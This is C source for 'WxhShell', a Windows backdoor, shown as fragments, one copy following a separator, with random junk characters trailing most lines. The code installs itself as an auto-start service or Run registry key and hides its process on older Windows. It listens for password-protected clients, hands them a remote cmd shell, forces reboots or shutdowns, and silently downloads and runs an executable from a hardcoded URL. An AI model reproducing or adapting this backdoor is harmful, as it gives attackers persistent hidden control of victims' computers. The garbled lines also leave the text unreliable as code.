    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tk5W'p|6f  
    if(Boot(SHUTDOWN)) aX5 z&r:{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~GL] wF2#  
    else { gBC@38|6)  
    closesocket(wsh); @cFJeOC|  
    ExitThread(0); ]Q>.HH  
    } uI1 q>[  
    break; _$ +^q-  
    } G#d{,3Gq1  
  // 获取shell {bJ`~b9e  
  case 's': { z([ v%zf  
    CmdShell(wsh); ;<j0f~G`  
    closesocket(wsh); Y8-86 *zC  
    ExitThread(0); *X+79vG:  
    break; P:k>aHnW  
  } (Iaf?J5{  
  // 退出 A Q'J9  
  case 'x': { Rb%8)t x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d$ x"/A]<  
    CloseIt(wsh); t!r A%*  
    break; tt0f-:#  
    } Y]/% t{Y  
  // 离开 - jb0o/:  
  case 'q': { CGY]r.O*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  SL#0kc0x  
    closesocket(wsh); l5Gq|!2yxD  
    WSACleanup(); y5?RVlKJ  
    exit(1); 18+)`M-5o  
    break; _B/ dWA,P  
        } YjxF}VI~<  
  } wr$M$i:  
  } ;7?kl>5]  
2+QYhdw  
  // 提示信息 Y }$/e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c:<005\Bg  
} lij.N) E  
  } 5,_u/5Y4  
==3dEJS  
  return; Z4S!NDMm~  
} `6lr4Kk @R  
gkES5Q  
// shell模块句柄 zsX1QN16  
int CmdShell(SOCKET sock) FbS|~Rp~  
{ $c]fPt"i  
STARTUPINFO si; 5*lT.  
ZeroMemory(&si,sizeof(si)); 'gC_)rK*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N/ %WsQp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^@3sT,M,S  
PROCESS_INFORMATION ProcessInfo; #gz M|  
char cmdline[]="cmd"; C G0 M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QZ6D7t Uc8  
  return 0; }uJu>'1[G  
} -I8=T]_D  
=]6%G7T  
// 自身启动模式 ; <&*rnH  
int StartFromService(void) U>]$a71  
{ B:'J `M"N  
typedef struct ^ DaBz\  
{ &,zq%;-f  
  DWORD ExitStatus; T ]t'39  
  DWORD PebBaseAddress; o /j*d3  
  DWORD AffinityMask; ED=V8';D  
  DWORD BasePriority; TE3lK(f  
  ULONG UniqueProcessId; J]{QB^?  
  ULONG InheritedFromUniqueProcessId; #|L8tuWW  
}   PROCESS_BASIC_INFORMATION; "I3@m%qv  
',9V|jvK  
PROCNTQSIP NtQueryInformationProcess; */sS`/Lx  
e?0l"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^q{9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 01wX`"I  
|2O]R s  
  HANDLE             hProcess; 4ezEW|S  
  PROCESS_BASIC_INFORMATION pbi; !%CWZZ 6u  
SIBtmm1W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e>6y%v;  
  if(NULL == hInst ) return 0; @$ne{2J3  
3@kf@ Vf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SF7\<'4\N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uxXBEq;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @i 2E\}  
5eLtCsHz  
  if (!NtQueryInformationProcess) return 0; cS5Pl  
MI/MhkS ?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C[ NS kr  
  if(!hProcess) return 0; dMh:ulIY>  
/Lfm&;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J[l7di5  
U;YC}r  
  CloseHandle(hProcess); * aN  
,f~J`3(&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PC~Y8,A|.t  
if(hProcess==NULL) return 0; j]{_s"O  
p2#)A"  
HMODULE hMod; WJQvB=D&  
char procName[255]; $Ipg&`S"  
unsigned long cbNeeded; t_o['F  
/NLui@|R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {+ ][5<q  
o*-)Tq8GHE  
  CloseHandle(hProcess); -)w@f~Q  
5&QJ7B,!  
if(strstr(procName,"services")) return 1; // 以服务启动 ( Z619w  
O9G[j=U  
  return 0; // 注册表启动 2y//'3[  
} \z>fb%YW  
(jnQ -  
// 主模块 tRs [ YK  
int StartWxhshell(LPSTR lpCmdLine) ! +a. Ei  
{ 6^V=?~a&z  
  SOCKET wsl; *T- <|zQ  
BOOL val=TRUE; VQ(jpns5  
  int port=0; !02`t4Zc-  
  struct sockaddr_in door; Ok|*!!T  
&:;:"{t}Do  
  if(wscfg.ws_autoins) Install(); Ghu#XJB?  
2V"B:X\  
port=atoi(lpCmdLine); [glLre^  
m!gz3u]rN  
if(port<=0) port=wscfg.ws_port; o\[~.";Z  
R] vV*  
  WSADATA data; FTX=Wyr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v]'ztFA  
:yL] ;J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K`yRr`pW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .!Qki@  
  door.sin_family = AF_INET; {}>0e:51  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X@'u y<tI-  
  door.sin_port = htons(port); 9/{(%XwX  
61Bwb]\f/|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~xbe~$$Q@  
closesocket(wsl); )#EGTRdo  
return 1; z#8~iF1  
}  j?A/#  
l\E%+?K+^  
  if(listen(wsl,2) == INVALID_SOCKET) { e h&IPU S  
closesocket(wsl); h(<,fg1  
return 1; v V'EZ ?  
} S$f9m  
  Wxhshell(wsl); P#E&|n7DT  
  WSACleanup(); }Q)#[#e  
r  [9x  
return 0; 8|b3j^u  
*]. 7dec/  
} <m!h&_eg  
\n"{qfn`r  
// 以NT服务方式启动 CHdX;'`*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TIx|L  
{ Y_Eb'*PY  
DWORD   status = 0; qsF<!'m7`  
  DWORD   specificError = 0xfffffff; kJWn<5%ayg  
O1rvaOlr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9TU88]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yID 164&r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h&|[eZt?F  
  serviceStatus.dwWin32ExitCode     = 0; ,368d9,rDz  
  serviceStatus.dwServiceSpecificExitCode = 0; !*/*8re  
  serviceStatus.dwCheckPoint       = 0; Okgv!Nt8)A  
  serviceStatus.dwWaitHint       = 0; lackB2J9 A  
G=)i{oC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,c$,!.r  
  if (hServiceStatusHandle==0) return; B*qi_{Gp  
s J\BF  
status = GetLastError(); 2;xIL]  
  if (status!=NO_ERROR) iz5CAxm  
{ l_3`G-`2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TbA}BFT`  
    serviceStatus.dwCheckPoint       = 0; 3sc+3-TF  
    serviceStatus.dwWaitHint       = 0; MU>k,:[  
    serviceStatus.dwWin32ExitCode     = status; o-;E>N7t  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~Xr=4V:a+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \:R%4w#Jv  
    return; 5NBV[EP  
  } w|3z;-#Q;  
mCRt8 rY;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -HQQw$  
  serviceStatus.dwCheckPoint       = 0; | H!28h  
  serviceStatus.dwWaitHint       = 0; tv>>l%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |].pDwgt  
} <m:m &I 8@  
ADZ};:]  
// 处理NT服务事件,比如:启动、停止 QS0:@.}$E)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g$n7CXoT  
{ "rTQG6`  
switch(fdwControl) QFfK0X8cC  
{ @*>@AFnf\Z  
case SERVICE_CONTROL_STOP: "b?v?V0%C  
  serviceStatus.dwWin32ExitCode = 0; c/Qt Ot  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b`L%t:u{d  
  serviceStatus.dwCheckPoint   = 0; Gn&-X]Rrl  
  serviceStatus.dwWaitHint     = 0; n 9\ C2r  
  { $m7?3/YG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|,Oswk~-  
  } .e3NnOzyxS  
  return; NxSu 3e~PS  
case SERVICE_CONTROL_PAUSE: ~SQ?BoCI[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~+bv6qxg]\  
  break; (]_1  
case SERVICE_CONTROL_CONTINUE: qNI, 62  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P-`M  
  break; b:=TB0Fx?n  
case SERVICE_CONTROL_INTERROGATE: qe#P?[  
  break; C(S'#cm  
}; "nm FzN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %cCs?ic  
} v4?x.I  
;?W|#*=R  
// 标准应用程序主函数 ~CtL9m3tO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9V,!R{kO!  
{ c;{Q,"9U  
"~=mG--I  
// 获取操作系统版本 ii%+jdi.  
OsIsNt=GetOsVer(); ,B08i o-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ".SJ~`S  
1J6,]M  
  // 从命令行安装 cHcmgW\4  
  if(strpbrk(lpCmdLine,"iI")) Install(); KQ `qpX^d  
\|]Z8t7  
  // 下载执行文件 _FXZm50\g{  
if(wscfg.ws_downexe) { 76V 6cI=+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L,SGT8lL  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?s\ OUr  
} 0ge$ p,  
Dw=gs{8D  
if(!OsIsNt) { ?|WoIV.  
// 如果时win9x,隐藏进程并且设置为注册表启动 N+LL@[  
HideProc(); cZH-"  
StartWxhshell(lpCmdLine); @S|jC2^+h  
} b3S.-W{p.  
else _ ):d`O e  
  if(StartFromService()) CSGz3uC2D  
  // 以服务方式启动 .fN"@l  
  StartServiceCtrlDispatcher(DispatchTable); N>Eqj>G  
else '; =f  
  // 普通方式启动 %)[+%57{  
  StartWxhshell(lpCmdLine); L f"i !  
h@:TpE+N  
return 0; BYO"u6  
} /CuXa%Ci^  
?pYKZg /c  
AjJURn0`,!  
P&j (,7  
=========================================== Zq,9&y~  
$e\h}A6  
7M<'ddAN  
h G gx  
tp6M=MC%  
'"?C4mbSl  
" >$ NDv  
aFe`_cnG  
#include <stdio.h> "Fy7K#n  
#include <string.h> L KCb_9  
#include <windows.h> neXeAU  
#include <winsock2.h> u)ev{)$TM  
#include <winsvc.h> Xcrk;!IB?  
#include <urlmon.h> |o2sbLp  
z >YFyu#LF  
#pragma comment (lib, "Ws2_32.lib") &ISb~5  
#pragma comment (lib, "urlmon.lib") Cw~RJ^a_  
%]gn?`O  
#define MAX_USER   100 // 最大客户端连接数 lz?;#U  
#define BUF_SOCK   200 // sock buffer Kx. X7R  
#define KEY_BUFF   255 // 输入 buffer ybeKiv9  
J[A14z]#`  
#define REBOOT     0   // 重启 uQ=^~K:Z~  
#define SHUTDOWN   1   // 关机 S@}1t4Ls:  
i]=&  
#define DEF_PORT   5000 // 监听端口 ) c/% NiN  
'8 fk+>M  
#define REG_LEN     16   // 注册表键长度 I.Y['%8,5~  
#define SVC_LEN     80   // NT服务名长度 l" q1?kaVg  
[F_/2+e  
// 从dll定义API Ul_M3"Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OdQT2PA_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WpS1a440  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ja]?&j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zW}[+el }  
Z<#hS=eY  
// wxhshell配置信息 Q|,B*b  
struct WSCFG { 8 F2|  
  int ws_port;         // 监听端口 `/"nTB  
  char ws_passstr[REG_LEN]; // 口令 p1D[YeF4  
  int ws_autoins;       // 安装标记, 1=yes 0=no GyW.2  
  char ws_regname[REG_LEN]; // 注册表键名 F,GN[f-  
  char ws_svcname[REG_LEN]; // 服务名 =(EI~N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zf.- I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9'DtaTmGW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ewuXpv%vwW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'q>2t}KG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ygS L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ? b[n|^wS  
TZ;p0^(  
}; <]Wlx`=/D  
EQIUSh)M  
// default Wxhshell configuration nRb^<cZf  
struct WSCFG wscfg={DEF_PORT, ?\/qeGW6G  
    "xuhuanlingzhe", 6*nAo8gl  
    1, /ahNnCtu?1  
    "Wxhshell", {kLGWbo|Q  
    "Wxhshell", &[a Tw{2  
            "WxhShell Service", #fs|BV !  
    "Wrsky Windows CmdShell Service", =s}Xy_+:  
    "Please Input Your Password: ", >Z Ke  
  1, ~AG$5!  
  "http://www.wrsky.com/wxhshell.exe", #FYAV%pi  
  "Wxhshell.exe" 6  P`)%zj  
    }; Nt:8ogk/  
}wwe}E-e  
// 消息定义模块 6QZ5|T ]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~vgA7E/XV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D);'pKl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~%#mK:+  
char *msg_ws_ext="\n\rExit."; gVU1Y6.  
char *msg_ws_end="\n\rQuit."; TNY4z(r  
char *msg_ws_boot="\n\rReboot..."; p|XAlia  
char *msg_ws_poff="\n\rShutdown..."; 7m9 " 8   
char *msg_ws_down="\n\rSave to "; Gzt=u"FV  
% *z-PT22  
char *msg_ws_err="\n\rErr!"; #\4 b:dv  
char *msg_ws_ok="\n\rOK!"; fT Y/4(  
kII7z;<^`  
char ExeFile[MAX_PATH]; F6S~$<  
int nUser = 0; !:fv>FEI9  
HANDLE handles[MAX_USER]; $v} <'  
int OsIsNt; znZ7*S >6\  
Az,- Cq  
SERVICE_STATUS       serviceStatus; hPdx(E)8!d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `_ (~ Ud  
N dR ]  
// 函数声明 8 #oR/Nt  
int Install(void); FN )d1q(~  
int Uninstall(void); |V`S >m%N  
int DownloadFile(char *sURL, SOCKET wsh); _MYx%Z  
int Boot(int flag); 45}v^|Je\  
void HideProc(void); /N^~U&7  
int GetOsVer(void); 3vJ12=  
int Wxhshell(SOCKET wsl); FWPW/oC  
void TalkWithClient(void *cs); CJNG) p  
int CmdShell(SOCKET sock); 's@MQ! *  
int StartFromService(void); 3;$bS<>  
int StartWxhshell(LPSTR lpCmdLine); @R:#"  
,9ml>ji`=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Iao[Pyk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &v# `t~  
v@T'7?s.  
// 数据结构和表定义 vC9@,[  
SERVICE_TABLE_ENTRY DispatchTable[] = /jrY%C  
{ rFXSO=P?Z  
{wscfg.ws_svcname, NTServiceMain}, V 4qtaHf  
{NULL, NULL} C;#" td  
}; sQk|I x  
6$B'Q30}r  
// 自我安装 %{ ~>n"  
int Install(void) ~Q!~eTw  
{ QTh0 SL  
  char svExeFile[MAX_PATH]; O@`J_9  
  HKEY key; &X w`T9<  
  strcpy(svExeFile,ExeFile); ag]*DsBt  
>_#)3K1y8  
// 如果是win9x系统,修改注册表设为自启动 wr@GN8e`  
if(!OsIsNt) { Ve:&'~F2 s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :c;_a-69  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8xo;E=`   
  RegCloseKey(key); i wz` x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4]"w b5%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]I XAucI]  
  RegCloseKey(key); U+!UL5k  
  return 0; Hs<n^fyf  
    } -R@JIe_28f  
  } oQBiPN+v.3  
} }wkaQQh  
else { ftW{C1,U7  
ho|  8U  
// 如果是NT以上系统,安装为系统服务 gN\*Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ris;Iu^v0  
if (schSCManager!=0) %g-0O#8}  
{ (.oaMA"B  
  SC_HANDLE schService = CreateService <"NyC?b+G  
  ( 45r|1<Ro  
  schSCManager, _3KZME  
  wscfg.ws_svcname, _}z_yu#jY  
  wscfg.ws_svcdisp, wjg}[R@!  
  SERVICE_ALL_ACCESS, Ix4jof6(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cCYl$MskZ  
  SERVICE_AUTO_START, 1[[TB .xF  
  SERVICE_ERROR_NORMAL, <q1'Li)_R  
  svExeFile, 7zi"caY  
  NULL, '@S,V/jy0z  
  NULL, D;J|eC>^  
  NULL, wC(XRqlE  
  NULL, u,!4vKx  
  NULL +Gp!cGaAm  
  ); t0I>5#*WU  
  if (schService!=0) kYmo7  
  { u& AQl.u  
  CloseServiceHandle(schService); D'85VZEFyo  
  CloseServiceHandle(schSCManager); #Ul4&QVeg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qlf 9]ug)  
  strcat(svExeFile,wscfg.ws_svcname); <XY;fhnB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;*"!:GR%h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f>?^uSpWH  
  RegCloseKey(key); %zRiLcAT  
  return 0; tu7+LwF7  
    } P7cge  
  } .<0=a|IAz  
  CloseServiceHandle(schSCManager); zuU Q."#i  
} `X3Xz!  
} 5>N6VeM  
2Ti" s-  
return 1; %GNUnr$  
} ^l&nB.  
3j]UEA^  
// 自我卸载 .jLMl*6%:  
int Uninstall(void) ],H1  
{ M" xZz  
  HKEY key; =I+l=;05Rd  
FGV}5L  
if(!OsIsNt) { 3"HGEUqA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "sz.v<F0:s  
  RegDeleteValue(key,wscfg.ws_regname); z"G`o"4 V  
  RegCloseKey(key); *(@L+D0N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IGab~`c-[  
  RegDeleteValue(key,wscfg.ws_regname); !1A< jL  
  RegCloseKey(key); ,f<J4U:Y  
  return 0; rV?@Kgxi  
  } 2 gca *  
} <AP.m4N) _  
} G]mD_J1$  
else { P\QbMj1U  
XN{zl*`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WGyPyG#Fl  
if (schSCManager!=0) h`(VMf'#  
{ oiD{Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E]S:F3  
  if (schService!=0) 8 @RJ>  
  { P8;1,?ou  
  if(DeleteService(schService)!=0) { yL -}E  
  CloseServiceHandle(schService); H]f[r~  
  CloseServiceHandle(schSCManager); Y^;izM}  
  return 0; Y0m?ZVt  
  } PzhC *" i}  
  CloseServiceHandle(schService); ~&+a.@T  
  } c\O2|'JzE  
  CloseServiceHandle(schSCManager); <Z\{ijfvD  
} *O\lR-z!k  
} c6y>]8_  
IYH4@v/#  
return 1; 2^w{Hcf  
} H$pgzNL  
W5~!)Ec  
// 从指定url下载文件 e"*ho[  
int DownloadFile(char *sURL, SOCKET wsh) hb %F"Q  
{ @ `mke4>_  
  HRESULT hr; VUz+ _)  
char seps[]= "/"; =^_a2_BBl  
char *token; */K]sQZa  
char *file; 'C#[iRG4  
char myURL[MAX_PATH]; ZPz=\^  
char myFILE[MAX_PATH]; H0.A;`  
S1m5z,G  
strcpy(myURL,sURL); ]^i^L  
  token=strtok(myURL,seps); cRNVqMpg  
  while(token!=NULL) ]<c\+9  
  { '#.D`9YI<  
    file=token; uY/C iTWr  
  token=strtok(NULL,seps); pK"Z9y&  
  } I:YgKs)[  
J+N -+,,  
GetCurrentDirectory(MAX_PATH,myFILE); [nrD4  
strcat(myFILE, "\\"); ?du*ITim  
strcat(myFILE, file); jpoNTl'  
  send(wsh,myFILE,strlen(myFILE),0); D]|{xKC}  
send(wsh,"...",3,0); % I2JS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sBqOcy  
  if(hr==S_OK) 4T v=sP  
return 0; *19a\m=>oi  
else j#Lj<jX!xR  
return 1; \~zm_-Hw@Y  
`~41>mM%  
} tYSfeU  
lLglF4  
// 系统电源模块 fE3%$M[V7  
int Boot(int flag) ~@[<y1g?nG  
{ b@K1;A! S  
  HANDLE hToken; xh!T,|IR  
  TOKEN_PRIVILEGES tkp; [qk c6sqo  
>RpMw!NT  
  if(OsIsNt) { :_,3")-v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cn5;h(r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iWW >]3Q  
    tkp.PrivilegeCount = 1; I }8b]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <p2\;\?4z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]k+(0qxG  
if(flag==REBOOT) { s vS)7]{cU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $'<$:;4b3  
  return 0; }LLQ +  
} %P(2uesd  
else { Z/4bxO=m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^<   
  return 0; Ap|g[J  
} !:tr\L {  
  } ,wv>G]v  
  else { v!3Oq.ot  
if(flag==REBOOT) { ocp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G{Uqp'=G  
  return 0; 'UZ i>Ta  
} 1|:;~9n<t  
else { OqmW lN.?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %dhrXK5  
  return 0; Rz6kwh=q  
} [MKt\(  
} 1Oak8 \G  
iQLP~Z>,T  
return 1; s*eM}d.p  
} Q7/Jyx|  
Y/pK  
// win9x进程隐藏模块 QXEZ?gx  
void HideProc(void) T| R!Aw.  
{ mGoC8t}iP  
niYD[Ra\xP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h53G$Ol.  
  if ( hKernel != NULL ) t^%)d7$  
  { .f!:@fX>=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hd gABIuX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2^U?Ztth6  
    FreeLibrary(hKernel); &lxMVynL  
  } I7t}$ S6  
k RSY;V  
return; N%u4uLP5k  
} 0TiDQ4}i[  
v`:!$U* H=  
// 获取操作系统版本 |O"Pb`V+  
int GetOsVer(void) r"\<+$ 7  
{ ^?0?*  
  OSVERSIONINFO winfo; F`+S(APT8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2_Cp}Pj  
  GetVersionEx(&winfo); FEBRUk6.h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >gn@NJ2N  
  return 1; c]ga) A(  
  else :&E~~EUW  
  return 0; )]m4FC:  
} <N=ow"rD  
xZloEfv.B  
// 客户端句柄模块 6QPT  
int Wxhshell(SOCKET wsl) M[_Ptqjb  
{ >}u#KBedE  
  SOCKET wsh; tM;+U  
  struct sockaddr_in client; ICTjUQP  
  DWORD myID; ?b(DDQMf  
eV0eMDY5  
  while(nUser<MAX_USER) ";n%^I}  
{ ;B :\e8  
  int nSize=sizeof(client); Ct3+ga$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E!,jTaZz  
  if(wsh==INVALID_SOCKET) return 1; Vu<mOuh  
^6!8)7b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )>;387'Y  
if(handles[nUser]==0) kkj_k:Eah  
  closesocket(wsh); +>% AG&Pc  
else s:tWEgZk?  
  nUser++; x LK,Je  
  } a3He-76  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +bWo{   
4k6:   
  return 0; = mhg@N4  
} wFBSux$  
MA7&fNjB  
// 关闭 socket iX>)6)uJ  
void CloseIt(SOCKET wsh) SNHAL F  
{ )LBbA  
closesocket(wsh); RF\h69]:I  
nUser--; )_Iu7b  
ExitThread(0); 1flBA,6L  
} + ^4HCyW  
g{m~TVm'  
// 客户端请求句柄 8%b-.O:_$  
void TalkWithClient(void *cs) GbC JGqOR  
{ #*}cc  
h>/L4j*Z  
  SOCKET wsh=(SOCKET)cs; tA K=W$r  
  char pwd[SVC_LEN]; *uF Iw}C/  
  char cmd[KEY_BUFF]; . B6mvb\  
char chr[1]; 2o0WS~}5  
int i,j; asbFNJG{  
>V&GL{  
  while (nUser < MAX_USER) { -TyBb]  
d ?,wEfwp  
if(wscfg.ws_passstr) { p.vxrk`c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $,1KD3;+]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >i2WYT  
  //ZeroMemory(pwd,KEY_BUFF); //^{u[lr  
      i=0; ,k,+UisG  
  while(i<SVC_LEN) { e.;B?0QrV  
B)&z% +  
  // 设置超时 sg_%=;  
  fd_set FdRead; , .uI>  
  struct timeval TimeOut; +Ui%}^ZZ  
  FD_ZERO(&FdRead); FF30 VlJ  
  FD_SET(wsh,&FdRead); K- TLzoYA  
  TimeOut.tv_sec=8; e]7J_9t@  
  TimeOut.tv_usec=0; t\-;n:p-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W0# VDe]>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s&-dLkis{u  
G5$YXNV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Q{MF- EKj  
  pwd=chr[0]; p@+D$  
  if(chr[0]==0xd || chr[0]==0xa) { l>@){zxL  
  pwd=0; xx[l#+:c  
  break; U~<~>^[  
  } \Jr7Hy1;  
  i++; lJU]sZ9~b  
    } g|x* sZR~Y  
#!]~E@;E  
  // 如果是非法用户,关闭 socket Y9nyKL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lD?]D&  
} ]goPjfWvU"  
lFc^y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :ZU-Vi.b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E <h9o>h  
gPy}.g{tH$  
while(1) { lBO x B/`  
s^-o_K\*c  
  ZeroMemory(cmd,KEY_BUFF); Q%_MO`<]$  
(l:LG"sy\  
      // 自动支持客户端 telnet标准   :&$ WWv  
  j=0; QQX7p!~E  
  while(j<KEY_BUFF) { a |0f B4G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a*Ng+~5)6  
  cmd[j]=chr[0]; -o`|A767  
  if(chr[0]==0xa || chr[0]==0xd) { MF4B 2d  
  cmd[j]=0; :.W</o~\s  
  break; 9lSs;zm{Q  
  } *&rV}vVP^  
  j++; 3b1%^@,ACy  
    } *vIC9./  
^1z)\p1  
  // 下载文件 \%]!/&>{6  
  if(strstr(cmd,"http://")) { 0tP{K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $3{I'r]  
  if(DownloadFile(cmd,wsh)) [knwp$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l=^^l`  
  else h>&t``<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MD=!a5'  
